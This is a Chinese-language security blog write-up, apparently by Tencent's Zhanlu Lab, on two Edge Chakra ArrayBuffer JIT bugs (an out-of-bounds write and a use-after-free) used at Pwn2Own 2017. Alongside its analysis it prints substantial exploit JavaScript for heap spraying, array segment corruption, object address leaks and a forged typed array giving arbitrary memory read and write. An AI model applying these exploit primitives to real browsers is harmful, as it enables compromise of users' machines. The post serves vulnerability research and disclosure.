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【技术分享】Pwn2Own 2017 再现上帝之手
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发布时间:2017-05-10 19:22:51
https://p0.ssl.qhimg.com/t017691e70f6cf79934.jpg
0x背景
今年3月结束的Pwn2own比赛中,湛泸实验室1秒内攻破史上最高难度的Edge浏览器,拿到首个单项最高分14分。此次比赛湛泸实验室准备了多个Edge漏洞和windows10内核提权漏洞,相关漏洞信息已经报告给微软。本文粗略介绍一下Pwn2Own比赛中湛泸实验室所用到的两个Edge漏洞,以及漏洞利用中的DVE(Data-Virtualization Execute)技术。这两个Edge漏洞我们实验室都完成了利用,在利用的细节上和之前IE上的cve-2014-6332有着异曲同工之妙。即DVE技术的基本思想:程序的一切皆是数据,通过修改程序的关键数据结构来控制程序执行,从而绕过所有Mitigation机制。下面笔者将较为细致地分析Pwn2own比赛的漏洞成因和利用过程,现在就开始Pwn2Own的旅程吧。Let’s go!!!!
x01 漏洞简介
去年,湛泸实验室发现Chakra引擎中ArrayBuffer对象的两个神洞,一个越界访问(CVE:2017-0234)和一个释放后重用(CVE:2017-0236)。这两个漏洞的特殊之处在于漏洞的触发路径都在chakra引擎生成的jit 代码中。下面,笔者就和大家分享这两个漏洞的相关细节。
x2漏洞成因
先看下面这段JS代码:
function write(begin,end,step,num)
{
for(var i=begin;i
rax=0000000000000001 rbx=00000186e9c00000 rcx=00000186e9800dc0
rdx=0000000000010000 rsi=00000186e95d68c4 rdi=00000036be1fb900
rip=00000187e9f00122 rsp=00000036be1fb5d0 rbp=00000036be1fb670
r8=000000003000000e r9=0000000040000010 r10=000100006e617579
r11=0000000000000001 r12=000100006e617579 r13=000100006e617579
r14=0001000040000010 r15=000100003000000e
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
mov dword ptr [rbx+r8*4],r12d ds:00000187`a9c00038=????????
最终代码运行到此处,rbx是buffer对象的内存基地址,r8是数组索引0x3000000e,r12给数组赋予的值,整个过程没有检测索引的范围造成了数组越界。当然漏洞不仅仅这一个,仔细推敲上述过程,我们可以发现,JIT在使用buffer对象的缓冲区域时并没有检测buffer对象是否被分离释放,这就是我们发现的第二个漏洞。可能细心点的读者都发现了,写入的地址不可访问,都是?????????,那为什么漏洞会利用成功而且不崩溃呢?请看下文。
0x03 漏洞利用
只有crash是远远不够的,还记得yuange曾经说过:”exp的价值远远大于poc”。下面笔者将分析一下两个漏洞的利用技术,两个漏洞成因极为相似,所以在利用技术上也很相近。
触发UAF漏洞主要代码如下:
var buffer = new ArrayBuffer(0x10000);
var view = new Uint32Array(buffer);
var worker = new Worker('uaf1.js');
worker.postMessage(buffer,[buffer]);
worker.terminate();
主要逻辑:
1)申请一个ArrayBuffer类型的数组变量buffer对象
2)紧接着新建Uint32Array类型的数组对象view,引用上面的buffer对象
3)通过调用postMessage(buffer,[buffer])和terminate()会将buffer对象申请的缓冲区内存彻底释放,这里是触发UAF的关键。work.postMessage移交buffer对象所有权, terminate()结束worker线程的时候会释放掉buffer这个对象原来申请的内存。
4)然而在类型数组view中却仍然保留着buffer对象申请的缓冲区内存的引用,并且引用时没有做检查,所以造成UAF 漏洞。.
越界代码因为ArrayBuffer对象申请4G虚拟空间,占位内存必须在ArrayBuffer的4G空间之后,这样两个漏洞利用就只有占位空间不一样,利用TypedArray写内存的索引不一样。UAF漏洞占位在原有buffer对象申请的缓冲区空间,OOB漏洞占位在其后4G空间。这样OOB漏洞写占位内存时,索引需要增加0x100000000/4=0x40000000,其它都相同。
1. 详细分析
我们来跟踪一下UAF的漏洞利用相关代码。
1)首先,申请一个ArrayBuffer类型的数组变量buffer,找到这个buffer变量,看一下内存结构
http://p9.qhimg.com/t0176f8ff12fa29384d.jpg
rcx是ArrayBuffer对象,0x00000186-e9c00000是buffer对象申请的缓冲区内存,0x00000000-00010000 是buffer长度
http://p5.qhimg.com/t0148b3bc8dc88e6add.jpg
下面是buffer的内存部分大小0x10000
http://p1.qhimg.com/t019f4c015e3b59c2df.jpg
http://p5.qhimg.com/t0108e398b11f3842e2.jpg
2)紧接着新建Uint32Array类型的变量view,引用上面的buffer
然后write(0,0×4000,1,0x1234); //大循环操作内存,让chakra引擎生成JIT代码
使用view对象操作ArraryBuffer的内存,看看被修改的buffer对象缓冲区这块内存,
内存布局如下
http://p6.qhimg.com/t01966c71a932da5071.jpg
3)通过调用postMessage(buffer,[buffer])和terminate()会将buffer的缓冲区内存空间彻底释放。执行terminate之后释放了buffer对象的缓冲区内存,buffer指针被置空,长度值为0,(0x00000001-00000000实际代表长度为零)。
http://p0.qhimg.com/t012fab6fc3f46e6f33.jpg
worker.postMessage(buffer,[buffer]);
worker.terminate();当worker调用postMessage的时候会发生Detach操作
http://p5.qhimg.com/t01d9c77f01c1b2a793.jpg
会调用 Js::ArrayBufferDetachedStateBase *__fastcall Js::ArrayBuffer::DetachAndGetState—>
chakra!Js::ArrayBuffer::ClearParentsLength 把对象的长度清掉
http://p6.qhimg.com/t01fec8d5b31d5c8512.jpg
此时还没有清掉内存,后续函数会把内存释放掉。
4)然而在变量view 中却仍然保留着buffer对象缓冲区的引用,所以造成UAF 漏洞。
下面内存是view对象的,此时View对buffer对象申请的缓冲区的引用仍然存在,也就是地址并没有清零
http://p2.qhimg.com/t018ce64d77b9955712.jpg
此时我们看一下内存情况,buffer对象申请的缓冲区是不能被访问的
http://p6.qhimg.com/t017208dd59b14f2bf2.jpg
http://p6.qhimg.com/t0120d1ae8e215425d8.jpg
已经被系统给回收了。
这样我们再占位这内存后,利用view对象去操作这块内存就造成了UAF漏洞。
2. 漏洞利用&Pwn
漏洞原因已经比较清晰了,but, How to Pwn?继续分析,
利用技术要点:
1)UAF漏洞在释放buffer对象的缓冲区后,紧接着通过分配Array 来占用已释放的缓冲区内存。OOB漏洞不需要前面的释放buffer对象缓冲区代码,最终占位的是缓冲区4G后的空间。
代码如下:
for(var i=0;i<0x1000;i+=1)
{
arr[i]=new Array(0x800);
arr[i][1]=25959;
arr[i][0]=0;
}
2)通过write向占位的arr写入标记,然后检测arr定位到占位成功的arr。OOB漏洞调用write写的时候,索引begin和end都需要加上0x40000000。
for(var i=0;i<0x1000;i+=1)
{
arr[i]=new Array(0x800);
arr[i][1]=25959;
arr[i][0]=0;
write(0x0e,0x00010,0x1000,1851880825);
if(arr[i][0]==1851880825)
{
1851880825 这个奇怪数值是什么呢?程序员看到这个数字大脑绝对是崩溃的,其实1851880825是”yuange”字符串中的”yuan”,25959是”yuange”中的”ge”,占位成功的话就拼接出”yuange”这个字符串。
http://p0.qhimg.com/t0115535d51cb70f902.jpg
然后利用占位的数组,精心的构造一个对象,
http://p9.qhimg.com/t01a973962575d868f2.jpg
0x6e617579是标记,0x6567也是一个标记
//arr[i+1](arrvar) 的数据区紧邻arr[i](arrint)的数据区,都在释放了的buffer对象的缓冲区空间内
arr[i+1]=new Array(0x400);
arr[i+1][1]=buffer;
arr[i+1][0]=0;
getarrint(i);
}
}
函数getarrint 的定义如下:
function getarrint(i)
{
arr[i].length=0x10000;
arrint=arr[i];
arrvar=arr[i+1];
write(0x09,0x001000,0x100000,0x0001000);
write(0x0a,0x001000,0x100000,0x0001000);
}
//这里两个write修改占位成功的arrint 对象的segment 的size和length 字段
http://p4.qhimg.com/t014b299cad62ba07cf.jpg
下面可以看到已经成功修改了segment 的size和length字段
之前这个对象内存如下0x00000002 代表存储int的个数,从后面的内存可以看到,这里存储了0x6e617579和0x00006567两个值,0x6e617579是JIT代码写进来的,覆盖了arr[i][0]=0这个值。
http://p5.qhimg.com/t010507c4f9bff36058.jpg
修改这个有什么作用呢?其实此时已经得到了一个长度为0x1000的seg,
seg中元素个数为0x1000,此时就能越界对后面内存进行读写访问了。
这个先放在这,后面要用到。下一步就是伪造一个fakeview,进而完成任意地址读写。
3)此时的内存布局如下:
Buffer--------> ---------------------------
| 0x20 内存块头部|
Arrint.seg--------->| |
| |
| |
| 0x3000 内存块|
| |
| |
Arrvar.seg———>| |
| |
| |
| |
| |
内存就是下面这样,注意连个地址之间相隔0x3020,中间是占位产生的数据
http://p7.qhimg.com/t01eec92eb95a97d9a6.jpg
arrint是NativeIntArray, 其seg的size为0x802,每个元素的长度为4byte,共为0x802*4+0x20+0x18=0x2040bytes长度,然后因为内存页对齐的原因为0x3000byte,所以中间空余了0x3000。此时我们可以通过arrint越界去读写arrvar的buffer部分了,这就已经完成对象地址的泄露了。
function getobjadd(myvar)
{
arrvar[3]=myvar;
uint32[0]=arrint[0xc06];
return arrint[0xc07]*0x100000000+uint32[0];
}
4)紧接着通过调用fakeview 函数来伪造一个完全可控的TypedArray对象myview 实现任意地址读写。
var buffer1 = new ArrayBuffer(0x100);
var view1 = new Uint32Array(buffer1);
var view2 = new Uint32Array(buffer1);
var view3 = new Uint32Array(buffer1);
var view4 = new Uint32Array(buffer1);
function fakeview( )
{
arrint.length=0xffff0000; //arrint长度修改
http://p1.qhimg.com/t01f3b6bf445d7a4560.jpg
arrvar[0]=buffer1;
arrvar[1]=view2;
arrvar[2]=0;
//修改arrint 的segment.next 指向view2+0x28
write(0x00000d,0x001000,0x100000,arrint[0xc03]);
write(0x00000c,0x001000,0x100000,arrint[0xc02]+0x28);
http://p7.qhimg.com/t017819c67ca445e331.jpg
http://p2.qhimg.com/t01c0b1ded4d32f1bb8.jpg
View+0x28位置是存放的buffer1对象的地址:
http://p8.qhimg.com/t01ca4af96443098392.jpg
使用arrint[0xc00]越界就可以获取到buffer1对象地址0x186-e96a5300低4字节。
http://p3.qhimg.com/t01503ae9d44e01e80b.jpg
http://p4.qhimg.com/t014267181a41def5f3.jpg
uint32[0]=arrint[0xc00];
index=uint32[0];
//中间使用unit32[0]是用来做符号转换的,index就是buffer1对象的地址低4字节。因为seg.next指向view2+0x28,view2+0x28的值为buffer1,所以下一个seg的seg.left就是buffer1的低4字节,这个段的索引号就是从index开始。
Seg的头长度0x18,后面接的是具体数组数据,这样0x28+0x18=0x40,view2对象的长度是0x40,这时候seg的数组数据区域就刚好指向下一个view对象0x186`e9800dc0,可能是紧挨着的view1或者view3。
//通过越界读复制view1或者view3 对象的0x40字节到view4 的buff 区域
for(var i=0;i<0x10;i++) view4[i]=arrint[index+i];
//恢复segment.next
write(0x0d,0x0001000,0x100000,0);
write(0x0c,0x0001000,0x100000,0);
View4对象内存如下,View4的buffer地址为0x17e-e425ae40,现在这个已经是我们伪造出来的myview的结构体部分
http://p3.qhimg.com/t01f614b11f6bf3897c.jpg
myview 的内存布局如下:
http://p5.qhimg.com/t01709d5220327d15da.jpg
arrint[0xc04]=view4[0x0e];
arrint[0xc05]=view4[0x0f];
// view4[0xe]和view4[0x0f]对应的就是view4引用的buffer1对象的数据缓冲区,也就是伪造的myview对象的地址,取出来保存到arrvar[2]位置。这样就把伪造的view对象通过arrvar[2]做对象引出,可以JS直接引用。
myview=arrvar[2];
}
得到了需要的伪造的TypedArray对象myview,整个对象结构体在view4里,可以通过view4去修改。myview 的内存布局如下:
http://p1.qhimg.com/t01709d5220327d15da.jpg
myview是Uint32Array对象,结构体中存了一个64位数组数据缓冲区指针,我们已经具备了修改这个对象结构的能力,那么我们可以通过修改这个指针,通过类型数组做到任意地址读写。
5)此时myview 便伪造成功,由于myview 整个都在view4 的buff 空间中,所以view4 可以对myview 进行任意读写,而此时myview 也被edge 识别为Uint32Array 对象类型。即可实现任意读写,代码如下:
function readuint32(address)
{
view4[0x0e]=address%0x100000000;
view4[0x0f]=address/0x100000000;
return myview[0];
}
function writeuint32(address,num)
{
view4[0x0e]=address%0x100000000;
view4[0x0f]=address/0x100000000;
myview[0]=num;
}
加上前面已经实现的任意对象地址读取
function getobjadd(myvar)
{
arrvar[3]=myvar;
uint32[0]=arrint[0xc06];
return arrint[0xc07]*0x100000000+uint32[0];
}
这样可以获取任意我们需要的对象地址,然后读写和修改对象数据,继续bypass各种利用缓解措施,得到代码执行能力等,从这里开始就获得了和上帝一样的能力。
0x04漏洞攻击(Fire Now!!!)
攻击效果就是百发百中,指哪打哪。
https://p4.ssl.qhimg.com/t01f45f30af9cae8905.gif
0x05 漏洞精华
笔者才疏学浅,深知自己不能完全领会漏洞利用的全部,但是也总结一下调试过程中发现漏洞利用精华和奇妙的地方,
1) 这个漏洞在没有占位成功的时候,向已经释放的内存中写入数据并不会导致程序崩溃,这就大大的增加了漏洞利用程序的稳定性。
调试的时候,发现这个buffer在没有完成占位的情况下,对buffer的写入操作并不会崩溃,这个异常会被edge自己处理掉,不会导致崩溃发生,这样就会让exploit程序非常的稳定。也是非常感叹这是两个非常好用的神洞啊。也就是文中前面留下的那个神秘问题。
https://p0.ssl.qhimg.com/t01e56bf3ef7f37cfd5.jpg
2) 漏洞利用精髓自然是DVE方法精确的数据控制能力,通过漏洞的内存修改能力,修改arrint对象的seg的数据结构,然后arrint和arrvar互相配合实现类型混淆,可以对对象任意读写伪造,这和cve-2014-6332的DVE利用代码的两个数组交错修改具有异曲同工之秒。完成任意地址读写,然后通过修改对象数据,打开“上帝模式”。
0xFF总结
通过上述分析,笔者逐渐领悟到DVE技术的精髓:通过修改关键数据结构来获取任意数据操纵的能力,这就是袁哥所说的“上帝之手”。然后借”上帝之手”绕过dep+alsr+cfg+rfg等漏洞防御技术,最后配合内核漏洞,完成整个Exploit Chain的攻击。感谢分析过程中yuange的指导和实验室小伙伴的帮助,笔者能力有限,分析有误的地方还望大家指出。最后,欢迎对二进制漏洞研究感兴趣的小伙伴加入腾讯湛泸实验室,发送简历到yuangeyuan@tencent.com。
部分关键利用代码:
for(var i=0;i<0x1000;i+=1)
{
arr[i]=new Array(0x800);
arr[i][1]=25959;
arr[i][0]=0;
write(0x0e,0x00010,0x1000,1851880825);
if(arr[i][0]==1851880825)
{
arr[i+1]=new Array(0x400);
arr[i+1][1]=buffer;
arr[i+1][0]=0;
getarrint(i);
fakeview();
document.write("
find i="+i+"
");
bypassdepcfg();
break;
}
}
function getarrint(i)
{
arr[i].length=0x10000;
arrint=arr[i];
arrvar=arr[i+1];
write(0x09,0x001000,0x100000,0x0001000);
write(0x0a,0x001000,0x100000,0x0001000);
}
function fakeview( )
{
arrint.length=0xffff0000;
arrvar[0]=buffer1;
arrvar[1]=view2;
arrvar[2]=0;
write(0x0d,0x001000,0x100000,arrint[0xc03]);
write(0x0c,0x001000,0x100000,arrint[0xc02]+0x28);
uint32[0]=arrint[0xc00];
index=uint32[0];
for(var i=0;i<0x10;i++) view4[i]=arrint[index+i];
write(0x0d,0x0001000,0x100000,0);
write(0x0c,0x0001000,0x100000,0);
arrint[0xc04]=view4[0x0e];
arrint[0xc05]=view4[0x0f];
myview=arrvar[2];
}
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万能的张老师 · 2018-07-22 02:16:33 回复
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